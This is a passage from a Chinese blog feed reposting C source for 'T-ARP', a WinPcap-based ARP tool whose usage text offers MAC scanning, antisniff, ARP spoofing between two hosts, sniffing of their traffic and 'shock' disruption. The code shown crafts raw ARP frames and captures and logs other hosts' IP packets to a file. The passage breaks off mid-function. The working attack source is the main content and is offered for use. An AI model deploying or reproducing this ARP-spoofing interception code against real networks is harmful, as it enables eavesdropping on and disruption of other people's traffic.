<p>&nbsp;&nbsp;&nbsp; if(PacketGetStats(lpadapter,&amp;stat)==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("Warning: Unable to get the adapter stat\n");<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n\n%d packets received, %d packets lost !\n",stat.bs_recv,stat.bs_drop);<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; PacketFreePacket(lppackets);<br>&nbsp;&nbsp;&nbsp; PacketFreePacket(lppacketr);</p>
<p>&nbsp;&nbsp;&nbsp; PacketCloseAdapter(lpadapter);</p>
<p>&nbsp;&nbsp;&nbsp; return 0;<br>} </p>
<p>&#160;</p>
<p>Trackback: <a href="http://tb.blog.csdn.net/TrackBack.aspx?PostId=208891"><u><font color=#0000ff>http://tb.blog.csdn.net/TrackBack.aspx?PostId=208891</font></u></a></p>
<p>&#160;</p>
<p>&#160;</p>
</font>
<img src ="http://www.cppblog.com/binghuo/aggbug/76070.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/binghuo/" target="_blank">冰火</a> 2009-03-10 08:07 <a href="http://www.cppblog.com/binghuo/archive/2009/03/10/76070.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>详谈调用winpcap驱动写arp多功能工具二(转载)</title><link>http://www.cppblog.com/binghuo/archive/2009/03/10/76069.html</link><dc:creator>冰火</dc:creator><author>冰火</author><pubDate>Tue, 10 Mar 2009 00:06:00 GMT</pubDate><guid>http://www.cppblog.com/binghuo/archive/2009/03/10/76069.html</guid><wfw:comment>http://www.cppblog.com/binghuo/comments/76069.html</wfw:comment><comments>http://www.cppblog.com/binghuo/archive/2009/03/10/76069.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/binghuo/comments/commentRss/76069.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/binghuo/services/trackbacks/76069.html</trackback:ping><description><![CDATA[<p><font size=2>五) T-ARP源代码</font></p>
<p><font size=2>#include &lt;packet32.h&gt;<br>#include &lt;ntddndis.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;conio.h&gt;</font></p>
<p><font size=2>#pragma comment(lib,"ws2_32")<br>#pragma comment(lib,"packet")</font></p>
<p><font size=2>#define ETH_IP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x0800<br>#define ETH_ARP&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0x0806<br>#define ARP_REQUEST&nbsp; 0x0001<br>#define ARP_REPLY&nbsp;&nbsp;&nbsp; 0x0002<br>#define ARP_HARDWARE 0x0001<br>#define max_num_adapter&nbsp; 10</font></p>
<p><font size=2>#pragma pack(push,1)</font></p>
<p><font size=2>typedef struct ethdr<br>{<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp;&nbsp; eh_dst[6];<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp;&nbsp; eh_src[6];<br>&nbsp;&nbsp;&nbsp; unsigned short&nbsp; eh_type;<br>}ETHDR,*PETHDR;</font></p>
<p><font size=2>typedef struct arphdr<br>{<br>&nbsp;&nbsp;&nbsp; unsigned short&nbsp; arp_hdr;<br>&nbsp;&nbsp;&nbsp; unsigned short&nbsp; arp_pro;<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp;&nbsp; arp_hln;<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp;&nbsp; arp_pln;<br>&nbsp;&nbsp;&nbsp; unsigned short&nbsp; arp_opt;<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp;&nbsp; arp_sha[6];<br>&nbsp;&nbsp;&nbsp; unsigned long&nbsp;&nbsp; arp_spa;<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp;&nbsp; arp_tha[6];<br>&nbsp;&nbsp;&nbsp; unsigned long&nbsp;&nbsp; arp_tpa;<br>}ARPHDR,*PARPHDR;</font></p>
<p><font size=2>typedef struct iphdr<br>{<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp; h_lenver;<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp; tos;<br>&nbsp;&nbsp;&nbsp; unsigned short total_len;<br>&nbsp;&nbsp;&nbsp; unsigned short ident;<br>&nbsp;&nbsp;&nbsp; unsigned short frag_and_flags;<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp; ttl;<br>&nbsp;&nbsp;&nbsp; unsigned char&nbsp; proto;<br>&nbsp;&nbsp;&nbsp; unsigned short checksum;<br>&nbsp;&nbsp;&nbsp; unsigned int&nbsp;&nbsp; sourceip;<br>&nbsp;&nbsp;&nbsp; unsigned int&nbsp;&nbsp; destip;<br>}IPHDR,*PIPHDR;</font></p>
<p><font size=2>#pragma pack(push)</font></p>
<p><font size=2>LPADAPTER lpadapter=0;<br>LPPACKET&nbsp; lppacketr,lppackets;<br>ULONG&nbsp;&nbsp;&nbsp;&nbsp; myip,firstip,secondip;<br>UCHAR&nbsp;&nbsp;&nbsp;&nbsp; mmac[6]={0},fmac[6]={0},smac[6]={0};<br>BOOL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; mm=FALSE,fm=FALSE,sm=FALSE; <br>FILE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *fp; <br>char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; adapterlist[max_num_adapter][1024];<br>char&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; msg[50];<br>int&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; num=0;</font></p>
<p><font size=2>void start()<br>{<br>&nbsp;&nbsp;&nbsp; printf("T-ARP --- ARP Tools, by TOo2y(&#242;1&#233;?), 11-9-2002\n");<br>&nbsp;&nbsp;&nbsp; printf("Homepage: <a href="http://www.safechina.net/n"><u><font color=#0000ff>www.safechina.net\n</font></u></a>");<br>&nbsp;&nbsp;&nbsp; printf("E-mail: <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#84;&#79;&#111;&#50;&#121;&#64;&#115;&#97;&#102;&#101;&#99;&#104;&#105;&#110;&#97;&#46;&#110;&#101;&#116;&#92;&#110;"><u><font color=#0000ff>TOo2y@safechina.net\n</font></u></a>");<br>&nbsp;&nbsp;&nbsp; return ;<br>}</font></p>
<p><font size=2>void usage()<br>{<br>&nbsp;&nbsp;&nbsp; printf("\nUsage: T-ARP&nbsp; [-m|-a|-s|-r]&nbsp; firstip&nbsp; secondip&nbsp; \n\n");<br>&nbsp;&nbsp;&nbsp; printf("Option:\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp; -m&nbsp; mac&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Get the mac address from firstip to secondip\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp; -a&nbsp; antisniff&nbsp; Get the sniffing host from firstip to secondip\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp; -s&nbsp; spoof&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&gt; Spoof the host between firstip and secondip\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sniff&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2&gt; Sniff if firstip == secondip == your own ip\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; shock&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3&gt; Shock if firstip == secondip != your own ip\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp; -r&nbsp; reset&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Reset the spoofed host work normally\n\n");<br>&nbsp;&nbsp;&nbsp; printf("Attention:\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp;&nbsp; 1&gt; You must have installed the winpcap_2.3 or winpcap_3.0_alpha\n");<br>&nbsp;&nbsp;&nbsp; printf("&nbsp;&nbsp;&nbsp; 2&gt; HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\IPEnableRouter==0x1\n\n");<br>&nbsp;&nbsp;&nbsp; return ;<br>}</font></p>
<p><font size=2>int getmine()<br>{<br>&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp; sendbuf[1024];<br>&nbsp;&nbsp;&nbsp; int&nbsp;&nbsp;&nbsp; k;<br>&nbsp;&nbsp;&nbsp; ETHDR&nbsp; eth;<br>&nbsp;&nbsp;&nbsp; ARPHDR arp;</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; for(k=0;k&lt;6;k++)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eth.eh_dst[k]=0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eth.eh_src[k]=0x82;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_sha[k]=0x82;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp.arp_tha[k]=0x00;<br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; eth.eh_type=htons(ETH_ARP);<br>&nbsp;&nbsp;&nbsp; arp.arp_hdr=htons(ARP_HARDWARE);<br>&nbsp;&nbsp;&nbsp; arp.arp_pro=htons(ETH_IP);<br>&nbsp;&nbsp;&nbsp; arp.arp_hln=6;<br>&nbsp;&nbsp;&nbsp; arp.arp_pln=4;<br>&nbsp;&nbsp;&nbsp; arp.arp_opt=htons(ARP_REQUEST);<br>&nbsp;&nbsp;&nbsp; arp.arp_tpa=htonl(myip);<br>&nbsp;&nbsp;&nbsp; arp.arp_spa=inet_addr("112.112.112.112");</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; memset(sendbuf,0,sizeof(sendbuf));<br>&nbsp;&nbsp;&nbsp; memcpy(sendbuf,&amp;eth;,sizeof(eth));<br>&nbsp;&nbsp;&nbsp; memcpy(sendbuf+sizeof(eth),&amp;arp,sizeof(arp));</font></p>
<p><font size=2>&nbsp;&nbsp;&nbsp; PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));<br>&nbsp;&nbsp;&nbsp; if(PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("PacketSendPacket in getmine Error: %d\n",GetLastError());<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return -1;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp; return 0;<br>}</font></p>
<p><font size=2>void getdata(LPPACKET lp,int op) <br>{<br>&nbsp;&nbsp;&nbsp; ULONG&nbsp; ulbytesreceived,off,tlen,ulen,ulLines;<br>&nbsp;&nbsp;&nbsp; ULONG&nbsp; j,k;<br>&nbsp;&nbsp;&nbsp; ETHDR&nbsp; *eth;<br>&nbsp;&nbsp;&nbsp; ARPHDR *arp;<br>&nbsp;&nbsp;&nbsp; PIPHDR ip;<br>&nbsp;&nbsp;&nbsp; char&nbsp;&nbsp; *buf,*pChar,*pLine,*base;<br>&nbsp;&nbsp;&nbsp; struct bpf_hdr&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *hdr;<br>&nbsp;&nbsp;&nbsp; struct sockaddr_in&nbsp; sin;</font></p>
<font size=2>
<p><br>&nbsp;&nbsp;&nbsp; ulbytesreceived=lp-&gt;ulBytesReceived;<br>&nbsp;&nbsp;&nbsp; buf=(char *)lp-&gt;Buffer;</p>
<p>&nbsp;&nbsp;&nbsp; off=0;<br>&nbsp;&nbsp;&nbsp; while(off&lt;ulbytesreceived)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(kbhit())<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hdr=(struct bpf_hdr *)(buf+off);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; off+=hdr-&gt;bh_hdrlen;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pChar=(char *)(buf+off);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; base=pChar;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; off=Packet_WORDALIGN(off+hdr-&gt;bh_caplen);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; eth=(PETHDR)pChar;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; arp=(PARPHDR)(pChar+sizeof(ETHDR)); </p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(eth-&gt;eh_type==htons(ETH_IP)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ip=(PIPHDR)(pChar+sizeof(ETHDR));</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(fm &amp;&amp; sm &amp;&amp; (op==3))&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if((((ip-&gt;sourceip!=htonl(myip)) &amp;&amp; (ip-&gt;destip!=htonl(myip)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;&amp; !strcmp((char *)eth-&gt;eh_dst,(char *)mmac)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &amp;&amp; ((ip-&gt;sourceip==htonl(firstip)) || (ip-&gt;destip==htonl(firstip)) <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; || (ip-&gt;sourceip==htonl(secondip)) || (ip-&gt;destip==htonl(secondip))))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; || ((firstip==myip) &amp;&amp; (secondip==myip)))<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(msg,0,sizeof(msg));</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sin.sin_addr.s_addr=ip-&gt;sourceip;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("[IP:]%16s ---&gt; [IP:]",inet_ntoa(sin.sin_addr));</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(msg,inet_ntoa(sin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat(msg+15," ---&gt; ");</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sin.sin_addr.s_addr=ip-&gt;destip;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%16s\n",inet_ntoa(sin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat(msg+23,inet_ntoa(sin.sin_addr));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fseek(fp,-2,1);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwrite("\r\n\r\n\r\n",6,1,fp);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwrite(msg,38,1,fp);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwrite("\r\n",2,1,fp);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ulLines=(hdr-&gt;bh_caplen+15)/16;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(k=0;k&lt;ulLines;k++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pLine=pChar;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%08lx : ",pChar-base);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ulen=tlen;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ulen=(ulen&gt;16) ? 16 : ulen;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tlen-=ulen;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(j=0;j&lt;ulen;j++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%02x ",*(BYTE *)pChar++);</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(ulen&lt;16)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%*s",(16-ulen)*3," ");</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pChar=pLine;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(j=0;j&lt;ulen;j++,pChar++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("%c",isprint(*pChar)? *pChar : '.');<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fputc(isprint(*pChar) ? *pChar : '.',fp); <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; printf("\n");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fwrite("\r\n",2,1,fp);&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; continue;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else if((eth-&gt;eh_type==htons(ETH_ARP)) &amp;&amp; (arp-&gt;arp_opt==htons(ARP_REPLY)))&nbsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sin.sin_addr.s_addr=arp-&gt;arp_spa;</p>
